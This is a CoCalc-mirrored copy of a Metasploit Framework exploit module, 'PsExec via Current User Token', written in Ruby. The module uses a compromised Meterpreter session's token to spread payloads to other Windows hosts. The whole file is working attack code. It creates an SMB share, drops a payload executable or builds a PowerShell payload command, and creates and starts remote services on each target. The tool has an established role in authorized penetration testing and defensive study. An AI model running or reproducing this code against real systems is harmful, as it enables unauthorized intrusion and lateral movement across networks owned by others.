CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/current_user_psexec.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Post::Windows::Services
10
include Exploit::EXE
11
include Exploit::Powershell
12
include Post::File
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'PsExec via Current User Token',
19
'Description' => %q{
20
This module uploads an executable file to the victim system, creates
21
a share containing that executable, creates a remote service on each
22
target system using a UNC path to that file, and finally starts the
23
service(s).
24
25
The result is similar to psexec but with the added benefit of using
26
the session's current authentication token instead of having to know
27
a password or hash.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'egypt',
32
'jabra' # Brainstorming and help with original technique
33
],
34
'References' => [
35
# same as for windows/smb/psexec
36
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
37
[ 'OSVDB', '3106'],
38
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
39
],
40
'DefaultOptions' => {
41
'WfsDelay' => 10,
42
},
43
'DisclosureDate' => '1999-01-01',
44
'Arch' => [ARCH_X86, ARCH_X64],
45
'Platform' => [ 'win' ],
46
'SessionTypes' => [ 'meterpreter' ],
47
'Targets' => [ [ 'Universal', {} ] ],
48
'DefaultTarget' => 0,
49
'Compat' => {
50
'Meterpreter' => {
51
'Commands' => %w[
52
stdapi_fs_mkdir
53
stdapi_sys_config_getenv
54
]
55
}
56
}
57
)
58
)
59
60
register_options([
61
OptString.new("INTERNAL_ADDRESS", [
62
false,
63
"Session's internal address or hostname for the victims to grab the " +
64
"payload from (Default: detected)"
65
]),
66
OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]),
67
OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
68
OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'PSH', ['PSH', 'SMB'] ]),
69
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
70
OptBool.new("KERBEROS", [ true, "Authenticate via Kerberos, dont resolve hostnames", false ])
71
])
72
end
73
74
def exploit
75
name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10)
76
display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10)
77
if datastore['TECHNIQUE'] == 'SMB'
78
# XXX Find the domain controller
79
80
# share_host = datastore["INTERNAL_ADDRESS"] || detect_address
81
share_host = datastore["INTERNAL_ADDRESS"] || session.session_host
82
print_status "Using #{share_host} as the internal address for victims to get the payload from"
83
84
# Build a random name for the share and directory
85
share_name = Rex::Text.rand_text_alphanumeric(8)
86
drive = session.sys.config.getenv('SYSTEMDRIVE')
87
share_dir = "#{drive}\\#{share_name}"
88
89
# Create them
90
print_status("Creating share #{share_dir}")
91
session.fs.dir.mkdir(share_dir)
92
cmd_exec("net share #{share_name}=#{share_dir}")
93
94
# Generate an executable from the shellcode and drop it in the share
95
# directory
96
filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
97
payload_exe = generate_payload_exe_service(
98
:servicename => name,
99
# XXX Ghetto
100
:arch => payload.send(:pinst).arch.first
101
)
102
103
print_status("Dropping payload #{filename}")
104
write_file("#{share_dir}\\#{filename}", payload_exe)
105
106
service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"
107
else
108
service_executable = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
109
end
110
111
begin
112
if datastore['KERBEROS']
113
targets = datastore['RHOSTS'].split(', ').map { |a| a.split(' ') }.flatten
114
else
115
targets = Rex::Socket::RangeWalker.new(datastore["RHOSTS"])
116
end
117
118
targets.each do |server|
119
begin
120
print_status("#{server.ljust(16)} Creating service #{name}")
121
122
service_create(name,
123
{
124
:display => display_name,
125
:path => service_executable,
126
:starttype => "START_TYPE_MANUAL"
127
},
128
server)
129
130
# If everything went well, this will create a session. If not, it
131
# might be permissions issues or possibly we failed to create the
132
# service.
133
print_status("#{server.ljust(16)} Starting the service")
134
service_start(name, server)
135
136
print_status("#{server.ljust(16)} Deleting the service")
137
service_delete(name, server)
138
rescue Rex::TimeoutError
139
vprint_status("#{server.ljust(16)} Timed out...")
140
next
141
rescue RuntimeError, ::Rex::Post::Meterpreter::RequestError
142
print_error("Exception running payload: #{$!.class} : #{$!}")
143
print_warning("#{server.ljust(16)} WARNING: May have failed to clean up!")
144
print_warning("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
145
next
146
end
147
end
148
ensure
149
if datastore['TECHNIQUE'] == 'SMB'
150
print_status("Deleting share #{share_name}")
151
cmd_exec("net share #{share_name} /delete /y")
152
print_status("Deleting files #{share_dir}")
153
cmd_exec("cmd /c rmdir /q /s #{share_dir}")
154
end
155
end
156
end
157
end
158
159